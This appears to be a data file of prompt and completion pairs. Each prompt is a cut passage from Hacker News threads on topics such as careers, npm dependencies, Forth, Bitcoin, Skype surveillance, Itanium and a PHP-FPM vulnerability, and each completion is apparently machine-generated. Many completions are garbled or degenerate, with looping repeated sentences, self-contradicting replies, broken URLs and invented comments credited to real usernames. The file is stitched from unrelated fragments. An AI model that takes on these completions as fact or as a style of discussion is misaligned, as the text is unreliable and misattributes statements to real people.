advice.\n\nGood luck, take care of yourself.\n\n------\ncodingdave\n> I haven't really managed to do anything (the same problem I had when I was\n> working for other companies).\n\nI've seen this same pattern in the software industry repeat itself many times,\nat all levels. People are not hitting the level of success they want, and\nthink that doing their own company will solve all the problems. But it\ndoesn't. As you have found, the reasons your career stagnates will normally\nalso cause struggles when you are the boss. Instead, I recommend that you\nfirst learn to be productive in any environment, for any boss. Then you need\nto start finding better bosses and environments. And finally decide if you,\npersonally, are the best boss for yourself. This is a process that take time,\neffort, and lots of honest self-evaluation. But you'll be a more successful\nand happier person for it.\n\nI don't know your details, but it sounds like your next step on that path\nwould be to get somewhere that you are comfortable and happy outside of work,\nso you have more energy to reflect on why you struggle at work. Find a\nmentor/coach to help you figure out why you are not productive, and fix those\nproblems. Once those"} +{"output_text": " I was shocked by it.\n\nI don't know what it is about mainstream media, but they're not reporting in\nany way that resembles reality.\n\n~~~\nthrowawaysea\nMainstream media is not the only source of information about the company you\nwork for. Do you have any information about your experience with other\nsources?\n\n~~~\nm0zg\nI worked for a public company. I have no idea what the people I worked with\nsaid to their", "input_text": "um in Kampala, where they interviewed a guy\nliving in the slum who's job it was to clean out the public toilets there. He\nclaimed it was one of the 'best jobs', because he was paid on time, given a\nuniform/gloves to wear instead of having to buy one himself, set his own\nhours, and the labor was not back breaking agricultural labor in the open sun\nall day. He also remarked he was able to contribute to his community in a\npositive way by keeping it clean, something all the other residents rewarded\nhim for with various tips as thanks for his service since they had to use\nthose toilets everyday. Wasn't the response I expected.\n\n~~~\nishjoh\nThat's very interesting, I don't suppose you know the name of the documentary?\n\nI wonder if the biggest reason he didn't hate his job was the gratitude from\nother people. One of my first jobs was stocking shelves on the graveyard shift\nat a grocery store, and the 1 hour or so before the store closed I would\noccasionally help shoppers find things, help take heavy things to their car,\nor help them reach items high on the shelf. A sincere thank you always made\nthe 7h of mind numbing stocking go a lot faster.\n\n------\nm0zg\nI (and people I directly worked with) have been interviewed a couple of times\nby what one would call \"mainstream press\". Once by a NY Times columnist and\nanother time by TechCrunch.\n\nThe resulting articles bore very little semblance to what we said, omitted\ncrucial facts, and contained the kinds of exaggerations that neither I nor any\nof the people interviewed would ever make. I'm talking \"breaking the laws of\nphysics\" kind of exaggerations, and"} +{"output_text": " cheap labour for building materials?\n\n~~~\nmnmnm\nHaiti is a poor country, and it is not a good source of cheap labour for\nbuilding materials. The difference is that in rich countries, you can afford to\npay the workers a decent wage, and still have a profit margin that allows you\nto pay them enough to make a decent living. In poor countries, you can't, and\nthe cost of paying a worker is simply absorbed by the cost", "input_text": "4y)\n\n~~~\nanigbrowl\nDon't confuse authority with organization.\n\n------\npermadefroster\nPoorly constructed dwellings got lots of people killed during the 2010\nearthquake. It might be bad news to see recovery take shape as structures\nbuilt without paying attention to safety codes.\n\n[https://en.wikipedia.org/wiki/2010_Haiti_earthquake](https://en.wikipedia.org/wiki/2010_Haiti_earthquake)\n\n~~~\nmnm1\nI'd rather take the risk of dying inside a poorly constructed dwelling in an\nearthquake than the countless risks of being homeless, and I'm sure most\nHaitians and people in general would too. Brings up the question of whether\nsafety codes and other such nonsense even have a place when the alternative is\nhomelessness. Clearly the US seems to think so, but I certainly wouldn't\nfollow our lead on this issue considering how poorly we've dealt with our own\nhomeless problem while keeping vast quantities of real estate empty or not\neven built.\n\n~~~\ndinkumthinkum\nSafety code nonsense? Surely you jest? You cite homelessness as an argument\nagainst safety codes? Sure, we all want to decimate the scourge of\nhomelessness but do you have a sense of how small a percentage of the US is\nactually homeless? You would have us give up on safety codes for.... what? A\nshanty for everyone?\n\n------\nerentz\nThis kind of looks like just another continuation of the man made ecological\ndisaster in Haiti. But in lieu of real solutions, people are going to do what\nthey need to.\n\n------\nswampthinker\nWould Haiti be a good source of"} +{"output_text": " school and college\nalums that you've known since forever, vs. people who came in through the\nopenings?\n\nI've been around a while, and I've seen a lot of people come in and change\nthings, and then go back out again. I've also seen people stay around for\ndecades, and still be around. I've also seen people come in and leave, and\nthen come back again. I've seen it all.\n\n~~~\n", "input_text": " improved by improving a dependency (I wonder how a\nfunction that checks if a number is negative can be improved...).\n\nAs far as I know there is no other toolchain on this planet where it's done\nthis way, which together with the clarification above should be telling you\nand sindresorhus something!\n\n~~~\ndozzie\n> As far as I know there is no other toolchain on this planet where it's done\n> this way [...]\n\nIf by \"this way\" you mean microdependencies in JavaScript, you should also\nlook at Ruby, which goes in a similar direction. And at Python, which\napparently tries to follow the lead.\n\n~~~\npjmlp\nSomehow I see a common theme there...\n\n~~~\nworkusername\nYes, let's dig into it.\n\n~~~\npjmlp\nFrom my point of view, all dynamic languages usually used by people without CS\nbackground.\n\n~~~\nsteveklabnik\nMy first five years after getting my CS degree, all of my paid work was in\nlanguages with dynamic typing.\n\n~~~\npjmlp\nSome people apparently took my comment personally, but it doesn't change the\nfact that many in those communities aren't from a CS background.\n\nWhich is why some decisions, like the whole npm modules, or the ruby gems\nbefore bundles (if I get it right), get to be taken without consideration how\nit works in large scale.\n\nOf course people with CS background also use dynamic languages. I have Python,\nSmalltalk, Lisp, Perl, JavaScript on my CV.\n\n~~~\nsteveklabnik\nThere are lots of people from both kinds of backgrounds in all kinds of\ncommunities; how much of classic hacker lore is about high"} +{"output_text": " to check on them, that's\nfine. But that's not Zubrin's vision. He wants to do it right this time.\n\n~~~\nhga\nI'm not sure I follow your argument. The only thing that's \"reliable\" about an\nartificial biosphere is that we have one that's been proven to work in the\npresence of humans. If you're going to Mars, you're going to Mars, and you\ndon't want to bring", "input_text": "'s work on sustained outposts on a\nworld no more than three days' travel away first._\n\nIf the only thing to be gained from the moon is a stepping stone to Mars, then\nit's a waste of time. The environmental challenges are just about all\ndifferent, so it's not even a good rehearsal. That's more like \"Learn to swim\nbefore you run. Let's work on movement while partially buoyant, not subject to\na full G, first.\"\n\nI'm sure you could train babies to swim-crawl-walk. But if you want to walk,\nit's an unnecessary detour.\n\n~~~\ntom_rath\nI'd like to believe in Zubrin's plan more than anyone (I still have a well-\nhighlighted copy of his \"Mars Direct - Humans to the Red Planet by 1999\" Acta\nAstronautica paper amongst my many cabinets of the stuff) but that plan is\nbuilt on assumption.\n\n \n \n >However, we can't even construct a reliable artificial\n >biosphere fully enclosed here on Earth!\n \n Where do you get that from?\n \n\nFrom the fact that no one has done it yet. Ever.\n\nWe just don't know how to live on other worlds. We are almost completely\nignorant of the complexities involved in the process and have a whole bunch of\nunpleasant discoveries to make yet. That's not to say it _can't_ be done and\nthat we don't know what should happen in theory, but we have never done it\nbefore. Ever. There is no experience to build upon.\n\nIf you want another flags and footprints mission to plant a candelabra of\npennants on Mars and then scurry back after a few days"} +{"output_text": " not sure how you can say that. The only way to make a website is to use\nReact/Vue/etc.\n\n~~~\nedhelas\n> I'm not sure how you can say that. The only way to make a website is to use\n> React/Vue/etc.\n\nWell, I'm not saying that. I'm saying that 95% of the websites don't need\nthose.\n\n> I'm just saying that in 95", "input_text": " bit of\nvanilla JS, and progressively enhances the site.\n\n> Things were done simple, no need to reinvent everything each time :)\n\nThings are there for a reason, why not just go to the 70s/80s where there was\nno networking, servers, or bloated JS?\n\n~~~\nedhelas\n> Gatsby is a static website generator that makes bunch of static HTML leaves\n> a bit of vanilla JS, and progressively enhances the site.\n\nThat was exactly my point. We are currently seeing the whole thing looping :)\n\n> Things are there for a reason, why not just go to the 70s/80s where there\n> was no networking, servers, or bloated JS?\n\nReact/Angular/Vue can be used for very specific use cases indeed and can be\nreally powerful tools. But lets face it, for most of the websites, you don't\nneed those tools. It's even worst most of the time regarding browser\nperformances, accessibility, SEO, navigation.\n\nDevelopers are always looking for shinning things. And in the end you end up\nwith really complex architecture.\n\nI'm just saying that in 95% of the cases. You don't need those tools. But only\nsimple \"old techs\" that are battle tested and works flawlessly.\n\n~~~\npcr910303\n> That was exactly my point. We are currently seeing the whole thing looping.\n\nIf Gatsby is exactly the format you like, what's the problem? The fact that it\nuses React as a dependency? Because... it uses 'npm', the worst package\nmanager of all history?\n\n> But let's face it, for most of the websites, you don't need those tools.\n\nI'm"} +{"output_text": ". I think the real\nquestion is how to learn about TIL's without becoming a Forth snob.\n\n~~~\njoe_the_user\nI think you're missing my point.\n\nThe point I'm making is that Forth is a language that can be orders of\nmagnitude faster than assembler. That's a fact.\n\nThe claim that Forth can be orders of magnitude faster than assembler is\nbasically a claim about the relative efficiency", "input_text": "\nTe key argument behind this thread centered around my assertion that Forth can\nbe orders of magnitude faster than assembler. That means 10, 100, 1000 --or\nmore-- times faster to code a solution in Forth than in assembler.\n\nI haven't done a any serious work in Forth in about ten years, so coming up\nwith an example for this thread would have consumed time I simply don't have\nright now.\n\nThe reality is that ANY language is orders of magnitude faster than assembler.\nThe idea that this assertion is being challenged at all is, well, surprising.\n\nI happen to be working on a project that, among other things, makes extensive\nuse of nested state machines. The main state machine has 72 states and some of\nthe children FSM's have up to a dozen states. Writing this in C it takes mere\nminutes to lay down a bug free structure for the execution of the entire FSM\nset. It should go without saying that doing the same in assembler would take\nfar longer and result in a mess of code that would be difficult to maintain.\n\nAssembler has its place. I have written device drivers, disk controllers,\nmotor controllers, fast FIR filters, pulse/frequency/phase measurement and a\nmyriad of other routines across a number of processors all in assembler. These\ndays I'd venture to say the vast majority of embedded systems are done in C.\nCoding is faster, far more maintainable and embedded optimizing compilers do\nan excellent job of producing good, tight and fast machine code. As much as I\nlove and enjoy Forth this is one of the reasons I rarely use it these days.\n\nI still think it is important to learn about TIL's as it adds a layer of\nthinking outside the box one would not otherwise have"} +{"output_text": " weigh that\nagainst the potential upside.\n\n------\njasonlotito\n1\\. The article is a little snarky. 2\\. The article is a little snarky. 3\\.\nThe article is a little snarky. 4\\. The article is a little snarky. 5\\. The\narticle is a little snarky.\n\n~~~\njasonlotito\nI'm not going to get down voted for being honest.\n\n1\\. The", "input_text": " not having a ball ;-)\nHopefully in the 3rd year, once I get to pick electives I will enjoy it much\nmore.\n\n------\ngjulianm\nAbout the numerical argument, that's not a good argument. The fact that 92,5%\nof the people on the Forbes 30 Under 30 for Tech list did not drop out is\nmeaningless by itself. Why?\n\nImagine that 92,5% of all population had degrees. Or even better: that 99% of\nall population had degrees.\n\nIt'd be more meaningful if you added the percentage of the population with\ndegrees, the % of people without degrees who created failed startups...\n\nBut, anyways, I don't think that having/not having a degree is a fundamental\nfactor in the success of your startup. Maybe you're already good enough to go\nforward. Maybe your idea is so great it compensates your lack of technical\nknowledge. Frankly, I think that dropping college to do a startup is neither a\ngood or bad idea. It depends on you, your circumstances and the startup\nitself.\n\n------\ncyang08\nHi all. What sparked this post was the release of this year's Forbes 30 Under\n30 for Tech. Turns out almost everyone on the list (92.5%, check article for\nmore stats) did NOT drop out, so thought the numbers + anecdotal + personal\nexperience would make a good case for sticking to school.\n\n~~~\npitt1980\nwant to guesstimate how many people on the Forbes 30 for 30 list had private\ncollege paid for by their upper middle class (if not better parents)?\n\nI think it makes sense to think seriously about the restrictions taking on\neducation debt will place on your life in the future, and to"} +{"output_text": "rible_ for network administration\nin the same way that it is for network security.\n\n~~~\npas\nI think you're conflating two things.\n\nFirst, there is the question of intent. If you're deploying a meddlebox for\nmalicious purposes, you're going to do it anyway, and you're going to do it\n_fast_. So the question of intent is not relevant.\n\nSecond, there is the question of _how_ it's deployed", "input_text": "\ndoing even more filtering. Given that crypto is now computationally\ninexpensive, this seems straightforward with anything that is not already in\nIP/TCP/UDP headers.\n\n~~~\npas\nIt lines up, I just wanted to point out that there needs to be no malicious\nexploitative intent, this kind of network state degradation naturally follows\nfrom the always ongoing optimization of resource allocation by actors involved\nin the process. And thus there is a natural priority of features when it comes\nto network equipment design, development, production, testing, marketing,\nsupport and eventual replacement.\n\nAnd yes, crypto helps with enforcing the layers, it forces engineers to move\nto a different part of the solution space when it comes to doing things that\nused to be done with DPI/snooping/etc. (A lot of the meddleboxes were sort of\nrational responses, like a MITM caching proxy, DNS hijacking, captive portals,\nblablabla. And they were quick and dirty.)\n\n~~~\nmindslight\nI stand by the characterization of \"exploitative\". The point of protocols is\nto mediate between parties with _diverging_ interests. The parties deploying\nmeddle boxes are rationally trying to further their own interests, but they\nare doing so by stepping over the delineating line. In 2019, the idea that\nneighborly courtesy would preserve the line was obviously naive. Now we need\nto build concrete walls.\n\nAnd lest you think that my viewpoint is completely at odds with network\nadministrators - elsewhere I've argued that raw unrestricted IP access will\neventually come to be seen as a bug. Surveillance companies backhaul much of\ntheir collect unhindered precisely because \"Internet access\" is given as an\nall-or-nothing condition. IP is actually _hor"} +{"output_text": "-guy-earned-the-opportunity-to-co-found-a-tech-startup/\n\n======\npatio11\n_I was able to raise a seed round of funding, and then found a co-founder who\nwas willing to work for free for a few months while I built the product._\n\nThis is a very common strategy. It is also a very common strategy for\nentrepreneurs in developing countries. It is not a strategy for", "input_text": " be used to buy lunch (and\nother such small transactions). The cost of decentralization is too high, and\nwe have no way to decrease those costs by the orders of magnitude needed to\nhandle the transactional loads of things like buying lunch. We are working to\ndecrease them, and have recently succeeded in a modest improvement on the\nBitcoin network, but orders of magnitude is... out of reach without some\nmassive innovation.\n\nIt's more likely that on-top-of networks like Lightning Network and its\nevolutions built on top of Bitcoin will be the thing people interact with on a\ndaily basis.\n\nThe average person will get their paycheck in Bitcoin, but do their daily\ntransactions using IOU networks like Lightning that settle behind the scenes\non a less frequent basis. This allows the average person to use Bitcoin as\ntheir store of value, giving them by default the advantages that traditionally\nonly a small fraction of the population have had, but still allowing cheap\ndaily transactions for buying lunch.\n\nThat doesn't change the meaning of the article. But it's important to mention\nhow Bitcoin is evolving to fulfill the future the article proposes.\n\nSo... maybe that's the future. Or maybe a side chain will evolve with\ninflationary properties and we just use that to buy lunch and get paid. Maybe\nevery country will have their own cryptocurrency, pseudo-centrally controlled,\nwith atomic swaps for global trade.\n\nBut one thing I know for sure. Software is eating the world. You either choose\nto ride that wave, or you get eaten by it.\n\n \n\nHow One Business Guy Earned the Opportunity to Co-Found a Tech Startup - jasonshen\nhttp://www.jasonshen.com/2012/the-story-of-how-a-business"} +{"output_text": " I stuck them on the laptop and it\nworks like a charm.\n\n------\njhallenworld\nI have a friend who has a laptop with a physical switch to disable the webcam\nand microphone. He says it's a great feature, because he can use the laptop\nwithout the camera or microphone, and then when he wants to show someone\nsomething, he just turns the switch on.\n\n------\njhallenworld\nI have a friend who has a laptop", "input_text": " with them, and by not buying laptops without them [which may be\ndifficult to bootstrap now, given that almost no laptop has a hardware on/off\nswitch anymore]).\n\n~~~\njcadam\nI've found many of those supposedly 'hardware' wifi kill switches were\nsoftware controlled (When I installed Linux on an old Dell, it completely\nignored the state of the wifi switch).\n\nI want a switch that physically cuts power to a device, but no... :(\n\n------\nHilyin\nI guess this is just as good place as any to bring this up. In current OS X,\nyou cannot disable your mic. You can turn down the input volume, but never\ndisable. All malware needs to do is raise the input volume and it can listen\nto you to its hearts content.\n\nAnd its worse with your iPhone.\n\n~~~\nthe_common_man\nCan someone confirm if this is actually true? Sounds too far fetched that you\ncannot disable the mic (i.e not muting, I assume?).\n\n~~~\nHilyin\nJust look around on the internet, you'll find the same thing. I researched\nthis a few weeks ago and was amazed.\n\nYou basically have to disable the audio driver in OSX to disable it, and doing\nthat, means you can't play audio at all. And even that isn't enough, it\ntechnically can be hijacked at an even lower level.\n\n------\nssebastianj\nI was looking for a way to cover the mics and webcam integrated in my laptop\nwhich doesn't require a tape. So, I grabbed a couple of those magnets stripes\nusually found on fridges and then, using a scissor, made two little\nrectangular stripes and a larger one. Next,"} +{"output_text": " chat, but I was not looking\nfor those.\n\nI have no idea what the Skype protocol looks like, but I'm pretty sure that\nSkype's P2P nature is not a result of the security and scalability advantages\nof P2P.\n\n~~~\ntptacek\nIt's not a result of Skype's security and scalability advantages. It's a\nresult of Skype's security and scalability advantages _and_ the fact that\nSkype", "input_text": "Intriguing that this renders Tor essentially transparent in some contexts -\nthat could almost seem by design.\n\nI would have commented on your tinfoil hat, except for what Microsoft did to\nSkype post-acquisition:- Completely rewriting its protocol architecture from\none which was P2P with end-to-end encryption and practically impossible to\nwiretap or monitor, to a centralized architecture (ostensibly for scalability\nreasons) which made it much more easier to wiretap or obtain metadata.\n\n[http://www.zdnet.com/article/skype-ditched-peer-to-peer-\nsupe...](http://www.zdnet.com/article/skype-ditched-peer-to-peer-supernodes-\nfor-scalability-not-surveillance/)\n\n[http://www.theguardian.com/world/2013/jul/11/microsoft-\nnsa-c...](http://www.theguardian.com/world/2013/jul/11/microsoft-nsa-\ncollaboration-user-data)\n\nHere's a choice quote from the above article.\n\n\"In July last year, nine months after Microsoft bought Skype, the NSA boasted\nthat a new capability had tripled the amount of Skype video calls being\ncollected through Prism;\"\n\n~~~\nthrowawaykf05\nWhen I heard about the \"re-centralization\" of Skype, I ran an experiment. I\nset up calls with a couple of people in various locations and monitored my\nnetwork connections (on OSX I used nettop). Voice and video traffic is still\ndirect P2P. It was the same when I tried it again last year. Not that I did\nnot investigate messaging connections, nor group"} +{"output_text": " was never a success.\n\n~~~\ngh02t\nI don't think the Itanium was ever going to be a success. It was a very\nexpensive way to get a 64 bit CPU that was already very late to the market.\n\n~~~\nchrisseaton\n> It was a very expensive way to get a 64 bit CPU that was already very late\n> to the market.\n\nIt was never going to be a success because it was too late. It", "input_text": " probably be in a similar place had Intel just decided\nItanium was a bad idea from the start.\n\n~~~\nchx\nWhat...? Yamhill was an _answer_ to AMD64. The first rumors appeared in 2002\nwhere AMD announced AMD64 in 1999, released the full specs in 2000 and\nactually shipped the first Opteron CPU in 2003 April, Intel shipped the Nocona\nin June 2004. This trailing remained for a while -- LAHF/SAHF in 64 bit was\nshipped in March 2005 by AMD but only December 2005 by Intel.\n\n~~~\nghaff\nWell sure. Intel much preferred Itanium to succeed. Absent AMD, it\u2019s possuble\nItanium would have muddled through in the end. (Or something completely\ndifferent would have played out.)\n\nit\u2019s safe to say that Intel has some sort of contingency plan going back quite\na while. Some analysts even thought they saw features in Pentium that\nsuggested 64-bit readiness.\n\nBut it wasn\u2019t until Opteron\u2019s success and its adoption by esp. HP and Dell\nthat Intel felt they needed to make their 64 bit extensions plan public.\n\n~~~\nFullyFunctional\nYou are correct. What people don't seem to appreciate are the internal\nconflicts within large organizations. There were in fact massive internal\nconflicts at Intel between the Itanic and the legacy. Companies that large\ndoesn't \"think with a single brain\".\n\nRandom aside: Itanic was HP's brainchild that was adopted and refined at Intel\n(and far from all of Intel was excited about that). Having experienced a VLIW\nthat _didn't_ suck (the internal engine of Transmeta's Astro 2/Efficieon) I'm\nsad that EPIC/Itanic"} +{"output_text": "\nI think you may have missed the point of the article.\n\nIt's not that the Ara is a failure, but that it was a failure from the start.\n\nThe delays, the cost, the problems...it was doomed from the start.\n\n~~~\noptforfon\nI'm not sure what you're getting at. The delays were caused by the need to\nbuild a new phone from scratch, which is what the article says will never\nwork.\n\n", "input_text": " things like sustainability and repairability.\n\n------\nori_b\nI'm not surprised. I can't think of any way for it to actually be better for\nday to day use than a monolithic smartphone.\n\nMy biggest surprise is that it was still chugging along until now.\n\n------\nwibr\nI always thought that Ara might be a useful platform not so much for\nsmartphones but for all those hand-held custom devices, you could plug in a\ncredit card reader, laser, special cameras, voltmeter or whatever you need.\n\n~~~\nRetra\nBut next to nobody needs those things.\n\n~~~\nNullabillity\nBut just about everyone has _some_ such need, as well as components they\ncouldn't give less of a shit about (the camera comes to mind, for me). The SoC\nis the expensive part that would need the economies of scale, but sadly there\ndon't seem to be that many options in that space anyway.\n\n------\noptforfon\nIf it came out tomorrow it'd be 10 years too late. Cellphones seem to have hit\na plateau. All the parts are now good enough in a cheap phone that no one\nreally needs this.\n\nI got a $150 aluminum phone with a huge battery, nice enough camera,\nfingerprint scanner, 3GBs of RAM, expandable storage, etc. etc.... I don't\nfeel like I need expansion options. What can the higher-specs really offer now\na days?\n\nSamsung has the right idea, maybe we'll need better phones for VR. Or maybe\nbuilt in picoprojectors will be a game changer. But for that you'll need a\nwhole new phone - not just a module snaps on.\n\n~~~\ncubano"} +{"output_text": ") doesn't mean he doesn't understand\ndrink. He may not understand the abstract concept of water, but he certainly\nunderstands the concept of 'drink'.\n\n~~~\ngnaritas\n>That's fair to say. Any comprehension is understanding even if it is just\nrote learning of single words to commands.\n\nComprehension is understanding, the dog may not have the same level of\nunderstanding as a human, but he is not merely rote", "input_text": " with pleasure roads where people\ncould park freely and enjoy the area, now it's commonly a synonym for any\ngeneral highway. Freeways were actually speed-limit-free highways, the 'free'\nnever had anything to do with cost until the very late 20th century. An\nexpressway was designed as a high-speed arterial road, which may have a\nlimited number of driveways.\n\n~~~\ngnaritas\nNone of that addresses the issues of whether the dog understands. Yes, humans\nhave a higher level of understanding in the sense that we understand\nabstractions, but our greater abilities in that area don't disqualify the\ndog's simpler ability from being called understanding.\n\nIf the dog can tell the difference between being told to fetch the paper vs\nfetch my shoes, then he understands.\n\nBeyond that, the statement...\n\n> their brains are merely receiving a signal and performing an associated\n> action\n\nEqually applies to humans; our brains just have a more complex form of\nassociation. There is no inherent meaning to any of the noises we make that we\ncall words other than they're associated to something. Your associations to\nthose noises is far more complex than the dogs, but you can't call yours\n_understanding_ and not his; his understanding is simpler, but if he performs\nthe correct trick, then he understands the word in the same sense you do, he\nassociated some kind of meaning to that word, just like you do.\n\n~~~\nelectromagnetic\nThat's fair to say. Any comprehension is understanding even if it is just rote\nlearning of single words to commands.\n\nYou're right, just because the dog doesn't understand 50+ words for 'drink'\n(water, coke, pepsi, coffee, tea, etc etc"} +{"output_text": " payments directly to the content creator.\n\nI understand that this is a security risk, but it's also a risk that I have to\ntake on myself. I have to go to the effort of encrypting the data, encrypting\nthe channel, and then encrypting the payment itself. I have to do this\nbecause I'm sending money, not because I have any particular desire to do so.\nI'm not trying to steal anything.\n\nI understand that this is a", "input_text": "obo\nAh, I misunderstood your comment sorry - I thought you meant recommendations\nfor installing _PHP_ + some web server in general, not nextcloud specifically!\n\n------\nfortran77\nWow! I'm glad I saw this today. The server we use to host our corporate blog\nwas vulnerable. I updated the php-fpm to the latest and I think I'm OK now.\n\n------\nEGreg\nFunny that php5 is safe from it\n\n~~~\nsmsm42\nActually not, it's safe from the exploit published, but not from the actual\nbug.\n\n------\ncutler\nInteresting to see the exploit written in Go. Proof, maybe, that Go has\nfinally landed.\n\n~~~\ncnst\nI noticed that, too. Including a `go get` instruction to get it, no less.\n\n \nAsk HN: So, what is your problem? - leftnode\nWe're all aware that if we're going to spend time building software, it should actually solve someones problem.

We also know that ideas are easy to come by, but solvable problems are harder.

So, what is your problem that needs solving? Either you'll get a response to something you didn't know existed that solves your problem, or someone might start working on a solution for it.\n======\npeteforde\nI have a major frustration with payment providers \u2014 even contemporary players\nlike Stripe \u2014 that can't offer a 3rd party payments system. That is, anything\nresembling a \"marketplace\" where you sell things on behalf of someone else,\ntake a cut and pass on the rest to the content creator requires the integrator\nto come up with a half-assed payout pipeline. This often results in sending\ncheques and/or making PayPal"} +{"output_text": " \"for Windows\".\n\n~~~\nfriendlyghost\nI'm not sure what you mean. I'm talking about other platforms as in \"other\ndistros\" of Linux/MacOS.\n\n~~~\npjmlp\nThen you are also talking about other platforms as in \"other disos\".\n\nLinux is a moving target, with many different distributions, each with their\nown choices and set of packages.\n\nOn MacOS, the situation is even worse,", "input_text": " pushing Vulkan as well, rather than their\nown \"quite similar\" APIs?\n\n~~~\nConst-me\n> MS can't (at least) throw their weight behind that, rather than wasting time\n> on WSL?\n\nI don\u2019t know the answer to that, I\u2019m unrelated to MS, not even on the same\ncontinent. But I have an idea why. Because outside Android, Linux GPU stack is\na mess. Maybe Vulkan will fix it, but it\u2019s not happened yet. I\u2019m just not sure\nit\u2019s possible to build a good product on top of that.\n\nBut they sure can build a single cross-platform GUI library for Windows, OSX,\nand mobile platforms. And I hope they will.\n\n> why aren't Microsoft (and Apple) pushing Vulkan as well, rather than their\n> own \"quite similar\" APIs?\n\nApple released Metal in 2014. MS released DX12 in 2015. Vulkan was first\nannounced in 2015, and they released 1.0 version of the spec only in 2016.\nThat\u2019s why.\n\n------\nfriendlyghost\nYet another package manager for Linux/MacOs to put yet more duplicates of\nalready packaged software on our disks. As a solution for Windows, vcpkg fills\na gap (I use it myself). For other platforms, this just adds more waste.\n\nAnd the first thing it does on Ubuntu 16.04 is to force me to install g++-7\nfrom the toolchain ppa. So now presumably I have to link everything statically\n(ever tried that with gtk?) or the users of my software will have to install\ng++-7 too?\n\n~~~\npjmlp\n\"For other platforms\" is not a synonym for"} +{"output_text": " is a very effective recruiting tool.\n\n~~~\njokermatt999\nI've heard this sentiment repeated a lot, but I don't think it holds up. I\napplied to Google because I wanted to work in web development, and I was\nseriously considering switching to college in the fall. I didn't know much\nabout the company, but I heard the recruiter mention that they had a good\nrevenue stream, and that they had a good work environment. I", "input_text": "...](https://en.wikipedia.org/wiki/Apple_Inc._litigation#iPod_battery_life_class_action)\n\nIt was the 2000s, 2005 was the settlement date, iPods didn't exist in the\n1990s. They didn't lose, strictly speaking, they settled (which is not the\nsame as admitting fault). Settling lets them save face, even if they may not\nhave had a liability, by not dragging their name through the muck with regards\nto the poor performance of the batteries and iPods.\n\n------\nIBM\nI've speculated for a long time that basically anything interesting Google\nsays they're doing is essentially meant to be a jobs program to keep employees\nfrom leaving, PR for external stakeholders like investors, media, being\nattractive to potential employees, etc. They seem to have lots of formal ways\nto keep employees from leaving/close as well including investments off of\nGoogle's balance sheet (not GV or Google Capital) into ex-employee startups\nand just flat out paying people not to leave (which is the arrangement I'm\nguessing that Matt Cutts is under). It all seems very Microsoft of old.\n\nCan anyone at Google (or ex-employees) tell me if this is true?\n\n~~~\nChuckMcM\nFlip it around, would anyone want to apply to Google if they weren't doing big\nvisionary things? I've met a lot of people who want to work at Google, not\nbecause anything they want to achieve in life is only possible if they do it\nwith Google's resources, but simply because \"It's a magical place.\" as Phil\nCoulson would say.\n\nSo whether or not it keeps people from leaving, if it is effective at getting\npeople to apply to Google first, it"} +{"output_text": " of evidence as the Christian\napologists.\n\n~~~\nlogicprog\nI'm not a Christian, either. I'm a Gracefully Atheist.\n\nI don't know what the \"dubious logic\" is, and I don't know what you mean by\n\"cherry picking of evidence.\" I'm not aware of any cherry-picking going on.\n\nI'm not a theist, but I've been reading a lot of atheist apologetics. I", "input_text": "\ntend to stay away from the main subs and visit for very specific reasons.\n\nWe should make another forum-aggregator to replace reddit and it's terrible\nmoderation system, but it probably just won't get big enough.\n\n~~~\nFinch2193\nI have been patiently waiting for an alternative to Reddit. In this time, I\nhave been reading books, and hacker news. Going back to Reddit feels like an\nextreme regression.\n\nShould I give up on the hope that one day we'll see another, better Reddit?\nDigg died when they redesigned their site, I was hoping we'd see the same\nthing with reddit, rinse and repeat...\n\n~~~\nelektor\nThere is an offshoot of Reddit that I frequent and enjoy, it was made by a\nformer Reddit dev: [https://blog.tildes.net/announcing-\ntildes](https://blog.tildes.net/announcing-tildes)\n\nI've got 2 more invites for those are that interested.\n\n \nGraceful Athiest \u2013 What If I Grant You That? (2016) - logicprog\nhttps://gracefulatheist.wordpress.com/2016/11/26/what-if-i-grant-you-that/\n======\nlogicprog\nI'm a Christian but this is a particularly well thought out and fair anti-\napologetic piece. I thought it would be interesting to see what HN thought of\nit (as a long-time lurker :)\n\n------\nmicrowavecamera\nIn fairness of disclosure I'm not a Christian or an Atheist but I think it's\nironic every Atheist's argument I've read so far uses the exact same dubious\nlogic, unscientific reasoning and cherry picking"} +{"output_text": "\n~~~\nRmilb\nThat's true, but the point is that bitcoin is a currency that people can use\noutside the US and EU. It's not a currency that people can use inside the US\nand EU. Bitcoin is a currency that people can use in places where they are\nbeing oppressed by the government.\n\n------\njoering2\nI am not a fan of FB, but I do like the idea of \"Instant Messaging\"\n\nWhat FB", "input_text": " predictions it will\ngo way higher, so it's deflationary.\n\nBitcoin holders will prefer to spend cash money to bitcoins anytime in\nspeculation of future gains.\n\nI see bitcoin more of a speculative investment at the moment, than a type of\ncurrency. Only the ones that are riding the bitcoin trains seems to think this\nis the future of money. Outside that bubble nobody really uses it.\n\n~~~\nRmilb\nI think its unfair to dismiss the currency aspect of bitcoin. The use case for\nthe developed world is 95% speculation 5% buying contraband online however,\nfor people in Venezuela[1], girls learning to code in Afghanistan[2], or women\nin Saudi Arabi who can't legally open a bank account, Bitcoin is solving\nproblems that under banked people have now. Of course the ecosystem needs to\nmature so grandma can use it safely, but that will come with time.\n\n[1] [https://www.cnbc.com/2017/08/24/bitcoin-mining-is-popular-\nin...](https://www.cnbc.com/2017/08/24/bitcoin-mining-is-popular-in-venezuela-\nbecause-of-hyperinflation.html) [2] [https://www.coindesk.com/how-bitcoin-\nhelps-afghan-girls-achi...](https://www.coindesk.com/how-bitcoin-helps-afghan-\ngirls-achieve-financial-freedom/)\n\n~~~\nmillettjon\nI think it has high utility anywhere outside of the US and EU. There are\nbillions of people that don't have access to stable currencies or reasonable\nbanking.\n"} +{"output_text": "-\nlist-of-629](https://github.com/minimaxir/big-list-of-629))\n\n------\njancsika\n> _The best way to protect yourself against DNS spoofing is to use a DNS\n> provider that doesn 't do any ICANN-approved paid-for name registration._\n\nI'm not sure if I agree with this. I've seen DNS spoofing used to redirect\ntraffic", "input_text": "/blob/master/blns.txt#L627)\n\n------\nteddyh\nIt\u2019s missing the old \u201c+++\u201d for non-Hayes modems.\n\n~~~\nschoen\nI think that sequence is an escape for Hayes modems; do you mean that Hayes\nmodems were less vulnerable to attacks involving it because of their guard\ninterval feature?\n\n[https://en.wikipedia.org/wiki/Hayes_command_set#.2B.2B.2B](https://en.wikipedia.org/wiki/Hayes_command_set#.2B.2B.2B)\n\n~~~\nteddyh\nYes, exactly.\n\n------\nubernostrum\nRelated: a list of names that probably should be reserved (for example, to\nprevent someone setting up a user-profile page at a URL you don't want them 